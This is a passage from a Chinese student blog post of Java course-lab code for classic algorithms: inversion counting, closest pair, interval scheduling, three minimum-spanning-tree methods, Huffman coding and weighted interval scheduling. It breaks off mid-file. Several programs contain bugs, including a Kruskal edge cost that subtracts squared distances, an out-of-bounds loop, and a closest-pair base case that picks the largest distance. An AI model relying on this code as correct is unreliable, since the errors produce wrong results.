Ky不是枕木

分享学习经验

发表于 分类于 本文字数： 26k 阅读时长 ≈ 1:34

算法与程序设计实验

要求

1.复现代码，写上自己的注释

2.结果展示

3.将代码进行修改，bug修改，内容提升

第二章

逆序计数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
import java.io.*;
import java.util.*;

public class Countlnversions {
    public static void main(String[] args)
    {
        System.out.println("请输入待计数逆序的整数序列(以空格分开，各项值都不同)");
        Scanner in=new Scanner(System.in);
        String line=in.nextLine();
        String[] tokens=line.split(" ");
        //获取用户输入的序列
        int[] S1=new int[tokens.length];
        for(int i=0;i<tokens.length;i++)
            S1[i]=Integer.parseInt(tokens[i]);
        int count=sortAndCount(S1);
        //调用实现SAC算法的方法，返回计数结果

        for (int i=0;i<S1.length;i++)
            System.out.print(S1[i]+" ");
        System.out.print("\n逆序计数为："+count);
        //显示排序后的序列和逆序计数值
    }
    private static int sortAndCount(int[]S){
        if(S.length==1)
            return 0;
        int n=S.length/2;
        int[] A=new int[n];
        int[] B=new int[S.length-n];
        int j=0;
        for (int i=0;i<A.length;i++)
            A[i]=S[j++];
        for (int i=0;i<B.length;i++)
            B[i]=S[j++];
        int rA=sortAndCount(A);
        int rB=sortAndCount(B);
        int r=mergeAndCount(A,B,S);
        return (r+rA+rB);
    }
    private static int mergeAndCount(int[]A,int[]B,int[]C)
    {
        int i=0,j=0,k=0,count=0;
        while (i<A.length&&j<B.length)
        {
            if (A[i]>B[j])
            {
                count+=A.length-i;
                C[k++]=B[j++];
            }
            else {
                C[k++]=A[i++];
            }
        }
        if (i==A.length&&j< B.length)
            for (int l=j;l< B.length;l++)
                C[k++]=B[l];
        if (i< A.length&&j== B.length)
            for (int l=i;l< A.length;l++)
                C[k++]=A[l];
        return count;
    }
}

寻找最近点对

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
import java.util.Arrays;
public class FindClosestPair {
    public static void main(String[] args) {
        int N=30;
        int beishu=5000;
        int[] x=new int[N];
        int[] y=new int[N];
        int[] p2=new int[4];
        int[] x2=new int[N];
        int[] y2=new int[N];
        StdDraw.setXscale(0, beishu);
        StdDraw.setYscale(0, beishu);
        StdDraw.setPenRadius(0.005);
        for(int i=0;i<N;i++){
            x[i]=(int)(Math.random()*beishu);
            y[i]=(int)(Math.random()*beishu);
            x2[i]=x[i];
            y2[i]=y[i];
        }
        int[][] pX=new int[2][N];
        int[][] pY=new int[2][N];
        int[] flagX=new int[N];
        int[] flagY=new int[N];
        for(int i=0;i<N;i++){
            StdDraw.point(x[i], y[i]);
            flagX[i]=1;
            flagY[i]=1;
        }
        Arrays.sort(x);
        Arrays.sort(y);

        for(int i=0;i<N;i++){
            for(int j=0;j<N;j++){
                if(x[i]==x2[j]&&flagX[j]==1){
                    pX[0][i]=x2[j];
                    pX[1][i]=y2[j];
                    flagX[j]=0;
                }
                if (y[i]==y2[j]&&flagY[j]==1){
                    pY[0][i]=x2[j];
                    pY[1][i]=y2[j];
                    flagY[j]=0;
                }
            }
        }
        ClosestPairRec(pX,pY,p2);
        System.out.println(p2[0]+" "+p2[1]+" "+p2[2]+" "+p2[3]);
        StdDraw.setPenColor(StdDraw.RED);
        StdDraw.line(p2[0], p2[1], p2[2], p2[3]);


    }

    public static void ClosestPairRec(int[][] pX, int[][] pY, int[] p2) {
        if(pX[0].length<=3){
            if (pX[0].length==3){
                int d1=(pX[0][0]-pX[0][1])* (pX[0][0]-pX[0][1])+(pX[1][0]-pX[1][1])* (pX[1][0]-pX[1][1]);
                int d2=(pX[0][1]-pX[0][2])* (pX[0][1]-pX[0][2])+(pX[1][1]-pX[1][2])* (pX[1][1]-pX[1][2]);
                int d3=(pX[0][0]-pX[0][2])* (pX[0][0]-pX[0][2])+(pX[1][0]-pX[1][2])* (pX[1][0]-pX[1][2]);
                if(d1>=d2&&d1>=d3){
                    p2[0]=pX[0][0];
                    p2[1]=pX[1][0];
                    p2[2]=pX[0][1];
                    p2[3]=pX[1][1];
                }
                if(d2>=d1&&d2>=d3){
                    p2[0]=pX[0][1];
                    p2[1]=pX[1][1];
                    p2[2]=pX[0][2];
                    p2[3]=pX[1][2];
                }
                if(d3>=d1&&d3>=d2){
                    p2[0]=pX[0][0];
                    p2[1]=pX[1][0];
                    p2[2]=pX[0][2];
                    p2[3]=pX[1][2];
                }
            }
            if(pX[0].length==2){
                p2[0]=pX[0][0];
                p2[1]=pX[1][0];
                p2[2]=pX[0][1];
                p2[3]=pX[1][1];
            }
            return;
        }
        int foreHalf = pX[0].length/2;
        int[][] qX=new int[2][foreHalf];
        int[][] qY=new int[2][foreHalf];
        int[][] rX=new int[2][pX[0].length-foreHalf];
        int[][] rY=new int[2][pX[0].length-foreHalf];
        int[] qp2=new int[4];
        int[] rp2=new int[4];
        int k=0;
        for(int i=0;i<pX[0].length;i++){
            if(i<foreHalf) {
                qX[0][i] = pX[0][i];
                qX[1][i] = pX[1][i];
                qY[0][i] = pY[0][i];
                qY[1][i] = pY[1][i];
            }
            else{
                rX[0][k] = pX[0][i];
                rX[1][k] = pX[1][i];
                rY[0][k] = pY[0][i];
                rY[1][k] = pY[1][i];
                k=k+1;
            }
        }

        ClosestPairRec(qX,qY,qp2);
        ClosestPairRec(rX,rY,rp2);
        int dd1=(qp2[2]-qp2[0])* (qp2[2]-qp2[0])+(qp2[1]-qp2[3])* (qp2[1]-qp2[3]);
        int dd2=(rp2[2]-rp2[0])* (rp2[2]-rp2[0])+(rp2[1]-rp2[3])* (rp2[1]-rp2[3]);
        int d2=Math.min(dd2,dd1);
        double d=Math.sqrt(d2);
        if (dd1<dd2){
            p2[0]=qp2[0];
            p2[1]=qp2[1];
            p2[2]=qp2[2];
            p2[3]=qp2[3];
        }
        else{
            p2[0]=rp2[0];
            p2[1]=rp2[1];
            p2[2]=rp2[2];
            p2[3]=rp2[3];
        }
        int[][] sY=new int[2][pX[0].length];
        int count=0;
        for(int i=0;i<pX[0].length;i++){
            if(pY[0][i]>(pX[0][foreHalf-1]-d)&&pY[0][i]<(pX[0][foreHalf-1]+d)){
                sY[0][count]=pY[0][i];
                sY[1][count]=pY[1][i];
                count=count+1;
            }
        }
        for (int i=0;i<count;i++){
            for(int j=1;j<=15&&(j+1)<count;j++){
                int dl=(sY[0][i]-sY[0][i+j])* (sY[0][i]-sY[0][i+j])+(sY[1][i]-sY[1][i+j])* (sY[1][i]-sY[1][i+j]);
                if(dl<d2){
                    d2=dl;
                    p2[0]=sY[0][i];
                    p2[1]=sY[1][i];
                    p2[2]=sY[0][i+j];
                    p2[3]=sY[1][i+j];
                }
            }
        }
    }
}

第三章

时序分配

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

import java.util.Arrays;

public class IntervarSchedulingDemo {
    public IntervarSchedulingDemo() {
    }

    public static void main(String[] args) {
        int isN = 10;
        int gis = 50;
        int[] isF = new int[isN];
        int[] isS = new int[isN];
        int[] isY = new int[isN];
        int[] isF2 = new int[isN];
        int[] isS2 = new int[isN];
        int[] isY2 = new int[isN];
        int[] isR = new int[isN];
        int beishu = gis;
        int[] flagX = new int[isN];
        int c = 0;

        int i;
        int j;
        while(c < isN) {
            i = (int)(Math.random() * (double)beishu);
            j = (int)(Math.random() * (double)beishu);
            int d3 = (int)(Math.random() * (double)beishu);
            if (i > j) {
                isS[c] = j;
                isF[c] = i;
                isF2[c] = i;
                isY[c] = d3;
                isR[c] = 1;
                flagX[c] = 1;
                ++c;
            }
        }

        StdDraw.setXscale(0.0, (double)beishu);
        StdDraw.setYscale(0.0, (double)beishu);
        StdDraw.setPenRadius(0.005);
        Arrays.sort(isF);

        for(i = 0; i < isN; ++i) {
            for(j = 0; j < isN; ++j) {
                if (isF[i] == isF2[j] && flagX[j] == 1) {
                    isS2[i] = isS[j];
                    isY2[i] = isY[j];
                    flagX[j] = 0;
                    break;
                }
            }
        }

        for(c = 0; c < isN; ++c) {
            if (isR[c] == 1) {
                for(i = c + 1; i < isN; ++i) {
                    if (isS2[i] < isF[c]) {
                        isR[i] = 0;
                    }
                }
            }
        }

        for(i = 0; i < isN; ++i) {
            if (isR[i] == 1) {
                StdDraw.setPenColor(StdDraw.RED);
                StdDraw.line((double)isS2[i], (double)isY2[i], (double)isF[i], (double)isY2[i]);
            } else {
                StdDraw.setPenColor(StdDraw.BLACK);
                StdDraw.line((double)isS2[i], (double)isY2[i], (double)isF[i], (double)isY2[i]);
            }
        }

    }
}

最小生成树

kru

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
import java.util.Arrays;

public class KruskalDemo2{
    public static void main(String[] arrays){
        int VN=9,eN=17,count;
        count=VN;
        int[] cN=new int[VN];
        int[] cS=new int[VN];
        for(int i=0;i<VN;i++){
            cN[i]=i;
            cS[i]=1;
        }
        int[] c=new int[eN];
        int[] c2=new int[eN];
        int[] flagEOG=new int[eN];
        int[][]
                e={{0,0,0,0,1,1,2,2,3,3,3,3,4,4,5,6,7},{1,4,3,2,6,4,3,5,4,8,7,5,6,8,7,8,8}};
        int N=VN;
        int beishu=9;
        int[] x={4,1,7,4,2,8,1,6,3};
        int[] y={0,1,1,3,4,4,6,6,8};
        StdDraw.setXscale(0,beishu);
        StdDraw.setYscale(0,beishu);
        StdDraw.setPenRadius(0.005);
        int v3;
        int v4;
        int[][] e2=new int[2][eN];
        int[] flagX=new int[eN];
        for(int i=0;i<eN;i++)
        {
            v3=e[0][i];
            v4=e[1][i];
            flagX[i]=1;
            c[i]=(x[v3]-x[v4])*(x[v3]-x[v4])-(y[v3]-y[v4])*(y[v3]-y[v4]);
            c2[i]=c[i];
            flagEOG[i]=0;
        }
        Arrays.sort(c);
        for (int i=0;i<eN;i++){
            for (int j=0;j<eN;j++){
                if(c[i]==c2[j]&&flagX[j]==1){
                    e2[0][i]=e[0][j];
                    e2[1][i]=e[1][j];
                    flagX[j]=0;
                    break;
                }
            }
        }
        int clb=0;
        while (count>=1){
            if (count==1){
                for (int i=0;i<=eN;i++){
                    int v1,v2;
                    v1=e2[0][i];
                    v2=e2[1][i];
                    if(flagEOG[i]==1){
                        StdDraw.setPenColor(StdDraw.RED);
                        StdDraw.line(x[v1],y[v1],x[v2],y[v2]);
                    }
                    else{
                        StdDraw.setPenColor(StdDraw.BLACK);
                        StdDraw.line(x[v1],y[v1],x[v2],y[v2]);
                    }
                }
                break;
            }
            int szj1,szj2;
            szj1=cN[e2[0][clb]];
            szj2=cN[e2[1][clb]];
            if(szj1!=szj2){
                flagEOG[clb]=1;
                count=count-1;
                int dd,xd;
                if (cS[szj1]>=cS[szj2]){
                    dd=szj1;
                    xd=szj2;
                }
                else {
                    dd=szj1;
                    xd=szj2;
                }
                for(int k=0;k<VN;k++){
                    if(cN[k]==dd){
                        cS[dd]=cS[dd]+cS[xd];
                    }
                }
                for (int k=0;k<VN;k++){
                    if(cN[k]==xd){
                        cN[k]=dd;
                    }
                }
            }
            clb=clb+1;
        }
    }
}

prim

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
import java.util.Arrays;
public class PrimDemo {
    public static void main(String[] args) {
        int vN=9,eN=17,count;
        count = vN;
        int[] cN=new int[vN];
        int[] cS=new int[vN];
        for(int i=0;i<vN;i++){
            cN[i]=i;
            cS[i]=1;
        }
        int[] c=new int[eN];
        int[] c2=new int[eN];
        int[] flagEOG=new int[eN];
        int[] flagVOG=new int[vN];
        for(int i=0;i<vN;i++){
            flagVOG[i]=0;
        }
        int[][] e ={{0,0,0,0,1,1,2,2,3,3,3,3,4,4,5,6,7},{1,4,3,2,6,4,3,5,4,8,7,5,6,8,7,8,8}};
        int N=vN;
        int beishu=9;
        int[] x={4,1,7,4,2,8,1,6,3};
        int[] y={0,1,1,3,4,4,6,6,8};
        StdDraw.setXscale(0,beishu);
        StdDraw.setYscale(0,beishu);
        StdDraw.setPenRadius(0.005);
        int v3;
        int v4;
        int[][] e2=new int[2][eN];
        int[] flagX=new int[eN];
        for(int i=0;i<eN;i++){
            v3=e[0][i];
            v4=e[1][i];
            flagX[i]=1;
            c[i]=(x[v3]-x[v4])*(x[v3]-x[v4])+(y[v3]-y[v4])*(y[v3]-y[v4]);
            c2[i]=c[i];
            flagEOG[i]=0;
        }
        Arrays.sort(c);
        for(int i=0;i<eN;i++){
            for(int j=0;j<eN;j++){
                if(c[i]==c2[j]&&flagX[j]==1){
                    e2[0][i]=e[0][j];
                    e2[1][i]=e[1][j];
                    flagX[j]=0;
                    break;
                }
            }
        }
        int fV=(int)(Math.random()*vN);
        flagVOG[fV]=1;
        int szj1,szj2;
        while (count>=1){
            if(count==1){
                for (int i=0;i<eN;i++){
                    int v1,v2;
                    v1=e2[0][i];
                    v2=e2[1][i];

                    if(flagEOG[i]==1){
                        StdDraw.setPenColor(StdDraw.RED);
                        StdDraw.line(x[v1],y[v1],x[v2],y[v2]);
                    }
                    else {
                        StdDraw.setPenColor(StdDraw.BLACK);
                        StdDraw.line(x[v1],y[v1],x[v2],y[v2]);
                    }
                }
                break;
            }
            for(int k=0;k<eN;k++){
                szj1=e2[0][k];
                szj2=e2[1][k];
                if(flagEOG[k]==0&&((flagVOG[szj2]==0&&flagVOG[szj1]==1)||(flagVOG[szj2]==1&&flagVOG[szj1]==0))){
                    flagEOG[k]=1;
                    if(flagVOG[szj2]==0){
                        flagVOG[szj2]=1;
                    }
                    else {
                        flagVOG[szj1]=1;
                    }
                    count--;
                    break;
                }
            }
        }
    }
}

反向删除

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
import java.util.Arrays;

public class ReverseDeleteDemo {
    public static void main(String[] args) {
        int vN = 9, eN = 17, count;
        count = vN;
        int[] c = new int[eN];
        int[] flagv = new int[vN];
        int[] c2 = new int[eN];
        int[] flagEOG = new int[eN];
        int[][] e = {{0, 0, 0, 0, 1, 1, 2, 2, 3, 3, 3, 3, 4, 4, 5, 6, 7}, {1, 4, 3, 2, 6, 4, 3, 5, 4, 8, 7, 5, 6, 8, 7, 8, 8}};
        int[][] flag = new int[vN][vN];
        int N = vN;
        int beishu = 9;
        int[] x = {4, 1, 7, 4, 2, 8, 1, 6, 3};
        int[] y = {0, 1, 1, 3, 4, 4, 6, 6, 8};
        StdDraw.setXscale(0, beishu);
        StdDraw.setYscale(0, beishu);
        StdDraw.setPenRadius(0.005);
        int v3;
        int v4;
        int[][] e2 = new int[2][eN];
        int[] flagX = new int[eN];
        for (int i = 0; i < eN; i++) {
            v3 = e[0][i];
            v4 = e[1][i];
            flagX[i] = 1;
            c[i] = (x[v3] - x[v4]) * (x[v3] - x[v4]) + (y[v3] - y[v4]) * (y[v3] - y[v4]);
            c2[i] = c[i];
            flagEOG[i] = 1;
        }
        Arrays.sort(c);
        for (int i = 0; i < eN; i++) {
            flag[e[0][i]][e[1][i]] = 1;
            flag[e[1][i]][e[0][i]] = 1;
            for (int j = 0; j < eN; j++) {
                if (c[i] == c2[j] && flagX[j] == 1) {
                    e2[0][i] = e[0][j];
                    e2[1][i] = e[1][j];
                    flagX[j] = 0;
                    break;
                }
            }
        }
        int szj1, szj2;
        while (count >= 1) {
            if (count == 1) {
                for (int i = 0; i < eN; i++) {
                    int v1, v2;
                    v1 = e2[0][i];
                    v2 = e2[1][i];
                    if (flagEOG[i] == 1) {
                        StdDraw.setPenColor(StdDraw.RED);
                        StdDraw.line(x[v1], y[v1], x[v2], y[v2]);
                    } else {
                        StdDraw.setPenColor(StdDraw.BLACK);
                        StdDraw.line(x[v1], y[v1], x[v2], y[v2]);
                    }
                }
                break;
            }
            int cmN = 0;
            for (int k = eN - 1; k >= 0; k--) {
                szj1 = e2[0][k];
                szj2 = e2[1][k];
                flag[szj1][szj2] = 0;
                flag[szj2][szj1] = 0;
                for (int i = 0; i < vN; i++) {
                    flagv[i] = 1;
                }
                cmN = dft(szj1, flag, flagv, vN);
                if (cmN == vN) {
                    flagEOG[k] = 0;
                } else {
                    flag[szj1][szj2] = 1;
                    flag[szj2][szj1] = 1;
                }
            }
            count = 1;
        }
    }

    public static int dft(int v, int[][] flag, int[] flagv, int vN) {
        int count=1;
        flagv[v]=0;
        for(int i=0;i<vN;i++){
            if(flag[v][i]==1&&flagv[i]==1){
                count=count+dft(i,flag,flagv,vN);
            }
        }
        return count;
    }
}

第四章

哈夫曼编码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
import java.util.*;
public class HuffmanDemo {
    public static void main(String[] args) {
        int rr = 3;
        //int count=10;
        //char[] cS = {'a','b','c','d','e','f','g','h','i','j'};
        //double[] dF={0.18,0.15,0.11,0.07,0.27,0.019,0.01,0.02,0.17,0.001};
        int count = 7;
        char[] cS = {'a', 'e', 'i', 's', 't', 'b', 'n'};
        double[] dF = {0.1, 0.15, 0.12, 0.03, 0.04, 0.13, 0.01};
        int[] dF2 = new int[count];
        for (int i = 0; i < count; i++) {
            dF2[i] = (int) (dF[i] * 1000);
        }
        int[][] dPS = new int[3][count];
        dPS[2][0] = 0;
        for (int i = 0; i < count; i++) {
            dPS[0][i] = dF2[i];
            dPS[1][i] = i;
            insertHeap(dPS, i + 1);
            dPS[2][0] = dPS[2][0] + 1;
        }
        int[][] cHT = new int[4][count * 2];
        for (int i = 0; i < count; i++) {
            cHT[0][i] = i;
            cHT[1][i] = -1;
            cHT[2][i] = -1;
            cHT[3][i] = 1;
        }
        int beishu = count * rr * 4;
        StdDraw.setXscale(0, beishu);
        StdDraw.setYscale(0, beishu);
        StdDraw.setPenRadius(0.005);
        int root = 0;
        int n = count;
        int count2 = count;
        while (count >= 1) {
            if (count == 1) {
                //输出显示哈夫曼树
                inOrderPaint(root, cS, cHT, count2 * 5, count2 * 4 * rr - 10, rr, count2 * 1.9);
                break;
            }
            int mF = dPS[1][0];
            int f1 = dPS[0][0];
            //从优先队列中取出频率最小的结点
            dPS[0][0] = dPS[0][dPS[2][0]-1];
            dPS[1][0] = dPS[1][dPS[2][0]-1];
            //从优先队列最后结点放到第一个结点的位置
            dPS[2][0] = dPS[2][0] - 1;
            deleteHeap(dPS, 1);
            //重新调整为新的优先队列
            int mS = dPS[1][0];
            int f2 = dPS[0][0];
            dPS[0][0] = dPS[0][dPS[2][0] - 1];
            dPS[1][0] = dPS[1][dPS[2][0] - 1];
            dPS[2][0] = dPS[2][0] - 1;
            deleteHeap(dPS, 1);
            //从优先队列中取出频率次小的结点
            cHT[0][n] = n;
            cHT[1][n] = mF;
            cHT[2][n] = mS;
            if (cHT[3][mF] > cHT[3][mS]) {
                cHT[3][n] = cHT[3][mF] + 1;
            }
            dPS[0][dPS[2][0]] = f1 + f2;
            dPS[1][dPS[2][0]] = n;
            dPS[2][0] = dPS[2][0] + 1;
            insertHeap(dPS, dPS[2][0]);
            //新结点加入优先树
            root = n;
            n = n + 1;
            count = count - 1;
        }
    }

    public static void insertHeap(int[][] dPS, int i) {
        int zj,j;
        if(i>1){
            j=i/2;
            if(dPS[0][i-1]<dPS[0][j-1]){
                zj=dPS[0][i-1];
                dPS[0][i-1]=dPS[0][j-1];
                dPS[0][j-1]=zj;
                zj=dPS[1][i-1];
                dPS[1][i-1]=dPS[1][j-1];
                dPS[1][j-1]=zj;
                insertHeap(dPS,j);
            }
        }
    }

    private static void deleteHeap(int[][] dPS, int i) {
        int n;
        int left,right,zj;
        n=dPS[2][0];;
        int j = 0;
        if(2*i>n)
            return;
        else if(2*i<n){
            left=2*i;
            right=2*i+1;
            if(dPS[0][left-1]>dPS[0][right-1]) {
                j = right;
            }
            else {
                j = left;
            }
        }else if(n==2*i){
            j=2*i;
        }
        if(dPS[0][j-1]<dPS[0][i-1]){
            zj=dPS[0][i-1];
            dPS[0][i-1]=dPS[0][j-1];
            dPS[0][j-1]=zj;
            zj=dPS[1][i-1];
            dPS[1][i-1]=dPS[1][j-1];
            dPS[1][j-1]=zj;
            deleteHeap(dPS,j);
        }
    }
    private static void inOrderPaint(int root, char[] cS, int[][] cHT, double x, double y, double r, double jg) {
        double xC,yC,xS,yS,rC,zj1,zj2;
        StdDraw.setPenColor(StdDraw.BLACK);
        StdDraw.circle(x,y,r);
        if(cHT[1][root]!=-1&&cHT[2][root]==-1){
            xC=x-jg;
            yC=y-4*r;
            zj1=r*jg/(Math.sqrt(16*r*r+jg*jg));
            zj2=4*r*r/(Math.sqrt(16*r*r+jg*jg));
            StdDraw.setPenColor(StdDraw.RED);
            StdDraw.line(x-zj1,y-zj2,xC+zj1,yC+zj2);
            inOrderPaint(cHT[1][root],cS,cHT,xC,yC,r,jg/1.3);
        }
        if(cHT[2][root]!=-1&&cHT[1][root]==-1){
            xC=x+jg;
            yC=y-4*r;
            zj1=r*jg/(Math.sqrt(16*r*r+jg*jg));
            zj2=4*r*r/(Math.sqrt(16*r*r+jg*jg));
            StdDraw.setPenColor(StdDraw.RED);
            StdDraw.line(x+zj1,y-zj2,xC-zj1,yC+zj2);
            inOrderPaint(cHT[2][root],cS,cHT,xC,yC,r,jg/1.3);
        }
        if(cHT[2][root]!=-1&&cHT[1][root]!=-1){
            xC=x-jg;
            yC=y-4*r;
            zj1=r*jg/(Math.sqrt(16*r*r+jg*jg));
            zj2=4*r*r/(Math.sqrt(16*r*r+jg*jg));
            StdDraw.setPenColor(StdDraw.RED);
            StdDraw.line(x-zj1,y-zj2,xC+zj1,yC+zj2);
            //Sytem.out.print(" "+cHT[1][root]);
            inOrderPaint(cHT[1][root],cS,cHT,xC,yC,r,jg/1.3);
            xC=x+jg;
            yC=y-4*r;
            zj1=r*jg/(Math.sqrt(16*r*r+jg*jg));
            zj2=4*r*r/(Math.sqrt(16*r*r+jg*jg));
            StdDraw.setPenColor(StdDraw.RED);
            StdDraw.line(x+zj1,y-zj2,xC-zj1,yC+zj2);
            //Sytem.out.print(" "+cHT[2][root]);
            inOrderPaint(cHT[2][root],cS,cHT,xC,yC,r,jg/1.3);
        }
        if(cHT[2][root]==-1&&cHT[1][root]==-1){
            xS=x-0.05*r;
            yS=y;
            String s=""+cS[cHT[0][root]];
            StdDraw.setPenColor(StdDraw.RED);
            StdDraw.text(xS,yS,s);
        }
    }
}


时隙最优解权值和

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
import java.util.Arrays;

public class ComputeRDemo {
    public static void main(String[] args){
        int isN=10,gis=50;
        int[] isF=new int[isN];
        int[] isS=new int[isN];
        int[] isV=new int[isN];
        int[] isF2=new int[isN];
        int[] isS2=new int[isN];
        int[] isY2=new int[isN];
        int[] isV2=new int[isN];
        int[] isR=new int[isN];
        int[] isM=new int[isN];
        int beishu=gis;
        int[] flagX=new int[isN];
        int c=0;
        while (c<isN){
            int d1=(int)(Math.random()*beishu);
            int d2=(int)(Math.random()*beishu);
            int d3=(int)(Math.random()*beishu);
            int d4=(int)(Math.random()*beishu);
            if(d1>d2){
                isS[c]=d2;
                isF[c]=d1;
                isF2[c]=d1;
                isV[c]=d4;
                isV2[c]=d4;
                flagX[c]=1;
                c=c+1;
            }
            }
        StdDraw.setXscale(0,beishu);
        StdDraw.setYscale(0,beishu);
        StdDraw.setPenRadius(0.005);
        Arrays.sort(isF);
        for (int i=0;i<isN;i++){
            isR[i]=0;
            isM[i]=-1;
        }
        for (int i=0;i<isN;i++){
            for (int j=0;j<isN;j++){
                if (isF[i]==isF2[j]&&flagX[j]==1){
                    isS2[i]=isS[j];
                    isV2[i]=isV[j];
                    flagX[j]=0;
                    break;
                }
            }
        }
        int[] isP=new int[isN];
        int[] isSX=new int[isN];
        int[] isSY=new int[isN];
        for (int i=0;i<isN;i++){
            isP[i]=-1;
            isY2[i]=(int)(beishu/isN*(isN-i)-0.5);
            isSY[i]=isY2[i]-2;
            isSX[i]=(int)((isS2[i]+isF[i])/2);
        }
        for(int i=0;i<isN;i++){
            for(int j=i-1;j>=0;j--){
                if (isS2[i]>isF[j]){
                    isP[i]=j;
                    break;
                }
            }
        }
        computeOpt(isV2,isM,isP,isN-1);
        findSolutions(isM,isV2,isR,isP,isN-1);
        for (int i=0;i<isN;i++){
            StdDraw.setPenColor(StdDraw.BLUE);
            StdDraw.text(isSX[i],isSY[i],""+isV2[i]);
            if (isR[i]==1){
                StdDraw.setPenColor(StdDraw.RED);
                StdDraw.line(isS2[i],isY2[i],isF[i],isY2[i]);
            }
            else {
                StdDraw.setPenColor(StdDraw.BLACK);
                StdDraw.line(isS2[i],isY2[i],isF[i],isY2[i]);
            }
        }
    }
    public static int computeOpt(int[] V,int[] M,int[] P,int j) {
        if (j <= -1)
            return 0;
        else {
            int d1 = computeOpt(V, M, P, P[j]);
            int d2 = computeOpt(V, M, P, j - 1);
            if ((V[j] + d1) < d2) {
                M[j]=d2;
                return d2;
            }
            else {
                M[j]=V[j]+d1;
                return (V[j]+d1);
            }
        }
    }
    public static void findSolutions(int[] M,int[] V,int[] R,int[] P,int j){
        int i=j;
        int d1,d2,d3=0;
        while (i>=0){
            if (P[i]==-1)
                d1=d3+V[i];
            else {
                d1=d3+V[i]+M[P[i]];
            }
            if (d1==M[j]){
                R[i]=1;
                d3=d3+V[i];
                i=P[i];
            }
            else {
                i=i-1;
            }
        }
    }
}

分段最小二乘法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
import java.awt.*;
import javax.swing.*;
import java.util.Scanner;
import javax.swing.JPanel;

public class SLMSDemo extends JFrame{
    //16个点的点集，第一行为横坐标，第二行为纵坐标
    static int P[][]={{20,40,50,60,70,80,90,100,110,120,130,140,150,160,170,180},
                {10,11,12,13,14,34,56,77,99,118,121,124,127,128,129,131}};
    //分段限制参数C，C越大，分的段数越少，可避免过拟合
    static double C=100;
    //设置一个极大值常量
    static final int MAXV=1000000000;
    //设置最大分段数
    static int maxS=100;
    //实际分段数
    static int mc=0;
    //点集共16个点
    static int n=16;
    //从1到j,j=1,2,...n的最小拟合误差,下标0做初始值，值为0
    static double[] optC=new double[n+1];
    //每个可能的子集的拟合直线a参数
    static double[][] a=new double[n][n];
    //每个可能的子集的最小乘误差
    static double[][] eC=new double[n][n];
    //每个可能的子集的拟合直线的b参数
    static double[][] b=new double[n][n];
    //最优的分段结果，第一行该子集的第一个点的下标，第二行为该子集的最后一个点的下标
